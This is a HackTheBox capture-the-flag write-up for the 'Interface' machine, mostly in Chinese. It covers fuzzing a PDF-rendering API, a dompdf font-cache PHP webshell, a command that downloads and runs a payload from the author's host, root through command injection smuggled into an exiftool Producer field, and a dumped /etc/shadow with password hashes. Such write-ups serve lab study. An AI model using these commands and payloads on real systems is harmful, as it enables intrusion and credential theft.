HackTheBox - Machine - Interface

Recommand: Let’s Sign Up HTB Academy to get Higher level of knowledge :P

非常推薦: 想要變强嗎? 快來加入 HTB Academy 獲得更高級的知識吧 :P

Interface

image

https://www.hackthebox.com/achievement/machine/463126/527

首先使用 Nmap 進行掃描,並將域名 interface.htb 加入到 /etc/hosts,隨後透過瀏覽器訪問,發現得到的內容有限。接著,嘗試掃描子域名和子目錄,但仍未獲得有用信息。在觀察瀏覽器的請求時,意外發現了一個名為 prd.m.rendering-api.interface.htb 的域名,進一步探索後發現了 api 和 vendor 兩個目錄。使用 GET 和 POST 請求對 html2pdf 進行測試,雖然初步測試未見結果,但經過關鍵字掃描後,尋找有效的提交參數。在發現 html2pdf 可能存在 XSS 漏洞後,轉而探索 vendor 目錄,發現 dompdf 框架的存在,並且進一步研究其代碼後得知,當自定義字體的後綴名不正確時,可能會導致 PHP 代碼的執行。為了利用這一漏洞,修改了 exploit.css 和 exploit_font.php,通過 Python 服務器上傳惡意字體,成功下載了木馬。進一步檢查發現系統中有一個 cronjob 在運行,使用 pspy 監控其動作,發現腳本中存在漏洞,可通過 exiftool 來執行任意命令。最終,通過巧妙地操作文件的 Producer 屬性,成功獲得 root 權限。

Nmap scan

首先使用 Nmap 進行掃描:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
PORT   STATE SERVICE REASON         VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 72:89:a0:95:7e:ce:ae:a8:59:6b:2d:2d:bc:90:b5:5a (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDsUhYQQaT6D7Isd510Mjs3HcpUf64NWRgfkCDtCcPC3KjgNKdOByzhdgpqKftmogBoGPHDlfDboK5hTEm/6mqhbNQDhOiX1Y++AXwcgLAOpjfSExhKQSyKZVveZCl/JjB/th0YA12XJXECXl5GbNFtxDW6DnueLP5l0gWzFxJdtj7C57yai6MpHieKm564NOhsAqYqcxX8O54E9xUBW4u9n2vSM6ZnMutQiNSkfanyV0Pdo+yRWBY9TpfYHvt5A3qfcNbF3tMdQ6wddCPi98g+mEBdIbn1wQOvL0POpZ4DVg0asibwRAGo1NiUX3+dJDJbThkO7TeLyROvX/kostPH
| 256 01:84:8c:66:d3:4e:c4:b1:61:1f:2d:4d:38:9c:42:c3 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGrQxMOFdtvAa9AGgwirSYniXm7NpzZbgIKhzgCOM1qwqK8QFkN6tZuQsCsRSzZ59+3l+Ycx5lTn11fbqLFqoqM=
| 256 cc:62:90:55:60:a6:58:62:9e:6b:80:10:5c:79:9b:55 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPtZ4bP4/4TJNGMNMmXWqt2dLijhttMoaeiJYJRJ4Kqy
80/tcp open http syn-ack ttl 63 nginx 1.14.0 (Ubuntu)
|_http-title: Site Maintenance
|_http-favicon: Unknown favicon MD5: 21B739D43FCB9BBB83D8541FE4FE88FA
|_http-server-header: nginx/1.14.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

interface.htb​ 加入到 /etc/hosts​ ,然後使用瀏覽器打開,得到:

image

既然有了域名,那就嘗試掃描一下子域名,結果什麽也沒有得到。

那就掃描一下子目錄:

1
$ ffuf -u "http://10.129.228.208"  -H "Host: FUZZ.interface.htb" -w /Tools/Wordlists/SecLists/Discovery/Web-Content/raft-large-files.txt 

image同樣的什麽也沒有得到。

在觀察瀏覽器的每一個請求的記錄的時候:

image

發現頭文件居然有另一個域名: prd.m.rendering-api.interface.htb​,打開後得到:

image

所以嘗試掃一下目錄:

1
$ feroxbuster -u "http://prd.m.rendering-api.interface.htb/" -w /Tools/Wordlists/SecLists/Discovery/Web-Content/raft-large-directories-lowercase.txt -d 2 

image

得到了一個 api​ 和 vendor​ 這兩個目錄。

Fuzzing api

所以嘗試掃描該目錄,使用 GET 請求:

1
$ feroxbuster -u "http://prd.m.rendering-api.interface.htb/api/" -w /Tools/Wordlists/SecLists/Discovery/Web-Content/raft-medium-directories.txt -C 404

image

結果什麽也沒有,如果換成 POST 請求試試看:

1
$ feroxbuster -m POST -u "http://prd.m.rendering-api.interface.htb/api/" -w /Tools/Wordlists/SecLists/Discovery/Web-Content/raft-medium-directories.txt -C 404

image

得到了一個 html2pdf​。

Play with html2pdf

既然有了html2pdf​,由於是 POST 請求,肯定是要提交一些東西上去,問題是如何知道提交的關鍵字呢?

只能使用 ffuf​ 進行關鍵字掃描,首先從 url 傳遞參數開始:

1
$ ffuf -X POST -u "http://prd.m.rendering-api.interface.htb/api/html2pdf?FUZZ=mane" -w /Tools/Wordlists/SecLists/Discovery/Web-Content/raft-large-words-lowercase.txt -fr "missing parameters" -mc all

image

結果什麽也沒有,然後掃描 json​ 傳遞的關鍵字,在 ffuf -h​ 中也有提示:

1
$ ffuf -h

image

所以命令如下:

1
$ ffuf -X POST -u "http://prd.m.rendering-api.interface.htb/api/html2pdf"  -H "Content-Type: application/json" -d '{"FUZZ":"manesec"}' -w /Tools/Wordlists/SecLists/Discovery/Web-Content/raft-large-words-lowercase.txt -fr "missing parameters" -mc all

image

得到 html​ 的關鍵字,隨便提交一些數據看看會發生什麽:

1
$ curl -v -X POST 'http://prd.m.rendering-api.interface.htb/api/html2pdf' -d '{"html":"mane"}'

image

結果提交後什麽也沒有得到。

然後搜索了一番,看到最近的 html2pdf​ 是 xss 的漏洞,感覺不會用到該機器上,所以嘗試尋找其他思路:

image

Fuzzing vendor

另一個子目錄是 vendor​,所以嘗試掃描下:

1
$ feroxbuster -u "http://prd.m.rendering-api.interface.htb/vendor" -w /Tools/Wordlists/SecLists/Discovery/Web-Content/raft-large-directories-lowercase.txt -d 2

image

得到dompdf​,在進一步掃描下:

1
$ feroxbuster -u "http://prd.m.rendering-api.interface.htb/vendor/dompdf" -w /Tools/Wordlists/SecLists/Discovery/Web-Content/raft-large-directories-lowercase.txt -d 2

image

還是得到dompdf​,搜索了一番,看到 dompdf 是使用 php 的框架寫的:

image

所以嘗試掃描一下 php 的後綴名:

1
$ feroxbuster -u "http://prd.m.rendering-api.interface.htb/vendor/dompdf/dompdf" -w /Tools/Wordlists/SecLists/Discovery/Web-Content/raft-large-directories-lowercase.txt -x php

image

從結果中可以看到 lib​, tests​, src​ 分別對應 github 上的目錄:

image

搜索了一下相關的 exploit ,看到:

image

這個 dompdf​ 只是一個框架,用來把 html 生成 pdf 用的,儅 html 裏有一些元素是使用自定義字體的時候,就會嘗試下載字體到緩存目錄上,然後進行渲染。在有漏洞的版本中,下載字體不會考慮後綴名,比如當我的字體文件是 mane.php​而不是 mane.ttf​,保存到緩存目錄的後綴名就是 .php​,這樣就能得到shell。

其中dompdf-rce這個項目整合了所需的文件,但 dompdf​ 只是一個框架,由於沒有 index.php​ ,所以還需要找到另一個組件來調用dompdf​。

1
$ curl -v -X POST 'http://prd.m.rendering-api.interface.htb/vendor/dompdf/dompdf/index.php'

image

Exploit with html2pdf

還記得一開始的/api/html2pdf​ 從名字上猜測他會調用 dompdf​ 這個框架,根據的dompdf-rce 説明:

image

需要修改 exploit.css​ 和 exploit_font.php​,其中 exploit_font.php​ 就放著一個字體,最後幾行插入php木馬,然後惡意的樣式文件就加載那個惡意字體,這樣就會把這個字體下載到臨時的目錄裏面:

image

改好後開啓python 的服務器 python3 -m http.server 80​ ,使用 html2pdf 新建一個pdf 帶有而已的樣式 試試看:

1
$ curl -v -X POST 'http://prd.m.rendering-api.interface.htb/api/html2pdf' -d '{"html":"<link rel=stylesheet href=''http://10.10.16.31/exploit.css''>"}'

image

結果可以看到他正常的訪問了 exploit_font.php​ 文件,這意味著成功的下載了木馬在臨時的目錄裏面,那麽問題又來了,臨時的目錄文件是什麽?

Getting upload folder path

根據文檔中的介紹沒有說下面的那一串 md5 來自哪裏,

image

繼續谷歌查找后,看到這篇文章:https://positive.security/blog/dompdf-rce

image

大致意思是他的hash來自下載的url,在代碼的 9-19 行:

image

可以看到 md5 是遠程下載的路徑的md5值,會放到框架目錄下的 dompdf/lib/fonts/<font-family>_<font-style>_<md5>.php​。

由於在 exploit.css​ 裏面定義了下載路徑是 http://10.10.16.31/exploit_font.php​,通過計算 md5 得到:

1
2
$ echo -n 'http://10.10.16.31/exploit_font.php' | md5sum 
69f1a1c61bd57f1bc6762fc8462e0121 -

image

所以下載路徑是:

1
$ curl -v 'http://prd.m.rendering-api.interface.htb/vendor/dompdf/dompdf/lib/fonts/exploitfont_normal_69f1a1c61bd57f1bc6762fc8462e0121.php?mane=id'

image

可以看到 HTTP 的狀態碼是 200,所以嘗試上傳一個shell:

1
curl 10.10.16.31:1111/mane -o /tmp/mane ; chmod 777 /tmp/mane ; /tmp/mane 

url加密後,傳到木馬上:

1
$ curl -v 'http://prd.m.rendering-api.interface.htb/vendor/dompdf/dompdf/lib/fonts/exploitfont_normal_69f1a1c61bd57f1bc6762fc8462e0121.php?mane=curl%2010.10.16.31:1111/mane%20-o%20/tmp/mane%20;%20chmod%20777%20/tmp/mane%20;%20/tmp/mane%20'

image

然後就得到了 shell。

image

Shell as webshell to root

從進程中看到:

1
$ ps -auxwwf

image

有一個 cronjob 的東西,使用 pspy 去監控一下:

1
$ pspy64

image

背後有一個脚本在跑,所以嘗試看看脚本寫了什麽:

1
$ cat /usr/local/sbin/cleancache.sh

image

一眼就看到這裏有個漏洞,具體可以參考這篇文章,大概就是儅 num='x[$(whoami)]'​ 的時候,運行到 [[ "$NUM" -eq 100 ]]​ 就會執行任意代碼,

image

根據上面 cleancache.sh​文件的内容,需要讓 $meta_producer​ 設置成 x[$(whoami)]​,但是$meta_producer​裏的内容是使用 exiftool​ 讀取文件的 Producer​ 屬性中獲得的。

所以可以新建一個文件,使用 exiftool​ 去寫入一個文件的Producer​ 屬性,執行脚本的時候讀取回去,就得到任意的命令行執行,大概操作如下:

1
2
3
4
www-data@interface:~$ touch  mane
www-data@interface:~$ /usr/bin/exiftool -Producer="somedata" mane
www-data@interface:~$ meta_producer=$(/usr/bin/exiftool -s -s -s -Producer "mane" 2>/dev/null | cut -d " " -f1)
www-data@interface:~$ echo $meta_producer

image

另外還需要注意 cut -d " " -f1​ ,這意思是使用 exiftool​ 讀取文件的 Producer​ 屬性,只要空格前的内容,也就是說空格后的内容就完全無視掉了,假設我想要 chmod 4777 /bin/bash​,所以需要寫入 x[$(chmod 4777 /bin/bash)]​:

1
2
3
4
$ cd /tmp
$ rm mane
$ touch mane
$ /usr/bin/exiftool -Producer='x[$(chmod 4777 /bin/bash)]' mane

image

然後嘗試讀取:

1
$ /usr/bin/exiftool -s -s -s -Producer "mane" 2>/dev/null | cut -d " " -f1

image

你可以看到他只有 x[$(chmod​,好在是使用bash運行的,在bash中 ${IFS}​ 就等於空格,所以可以把所有空格換成 ${IFS}​ :

1
2
$ /usr/bin/exiftool -Producer='x[$(chmod${IFS}4777${IFS}/bin/bash)]' mane
$ /usr/bin/exiftool -s -s -s -Producer "mane" 2>/dev/null | cut -d " " -f1

image

最終

1
2
3
4
$ cd /tmp
$ rm mane
$ touch mane
$ /usr/bin/exiftool -Producer='x[$(chmod${IFS}4777${IFS}/bin/bash)]' mane

把文件寫入到/tmp​等待定時任務運行:

image

等運行了就可以得到 root 權限:

1
$ bash -p

image

Hashes

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
bash-4.4# cat /etc/shadow 
root:$6$vNqg/kOl$yP48ihB9Tz5fyR0bjFvDk/ZMwmOpr/a6Bx7Z3fpsTNQM.k2ip0weEHpNr2C0OY2qEIspg4KuTtB3R32.bPieX0:19316:0:99999:7:::
daemon:*:18480:0:99999:7:::
bin:*:18480:0:99999:7:::
sys:*:18480:0:99999:7:::
sync:*:18480:0:99999:7:::
games:*:18480:0:99999:7:::
man:*:18480:0:99999:7:::
lp:*:18480:0:99999:7:::
mail:*:18480:0:99999:7:::
news:*:18480:0:99999:7:::
uucp:*:18480:0:99999:7:::
proxy:*:18480:0:99999:7:::
www-data:18480:0:99999:7:::
backup:*:18480:0:99999:7:::
list:*:18480:0:99999:7:::
irc:*:18480:0:99999:7:::
gnats:*:18480:0:99999:7:::
nobody:*:18480:0:99999:7:::
systemd-network:*:18480:0:99999:7:::
systemd-resolve:*:18480:0:99999:7:::
syslog:*:18480:0:99999:7:::
messagebus:*:18480:0:99999:7:::
_apt:*:18480:0:99999:7:::
lxd:*:18480:0:99999:7:::
uuidd:*:18480:0:99999:7:::
dnsmasq:*:18480:0:99999:7:::
landscape:*:18480:0:99999:7:::
pollinate:*:18480:0:99999:7:::
sshd:*:19316:0:99999:7:::
dev:$6$2RlsJ6Cm$3qBSlRXSbX0tjTK7orUlt3Wub/ahd1f5kAVDhnvd8zm2vFuPotd7o04vH04OgPjdvsfUp2sOpqQJz5Cge2h4C0:19367:0:99999:7:::
_laurel:!:19370::::::

Thanks

Respect: If my writeup really helps you, Give me a respect to let me know, Thankssssss!

感謝: 製作不易,如果我的writeup真的幫到你了, 給我一個respect,這樣我就會知道,感謝你!

Found Mistakes: If you find something wrong in the page, please feel free email to mane@manesec.com thanksss !!!

發現一些錯誤: 如果你在文章中發現一些錯誤,請發郵件到 mane@manesec.com ,麻煩了!!

Beginner Recommand: If you are a beginner, please use this link to sign up for an HTB Academy to get more Higher level of knowledge.

新手非常推薦: 如果你是初學者,可以用此鏈接來嘗試注冊 HTB Academy 賬號。

使用上面的鏈接加入 HTB 的 academy 完成 INTRODUCTION TO ACADEMY 這個模塊后可以解鎖更多的功能!

Join HTB’s academy with this link to get free access to all the tutorials for Tire 0. This is very beginner friendly. (It is recommended to complete INTRODUCTION TO ACADEMY first)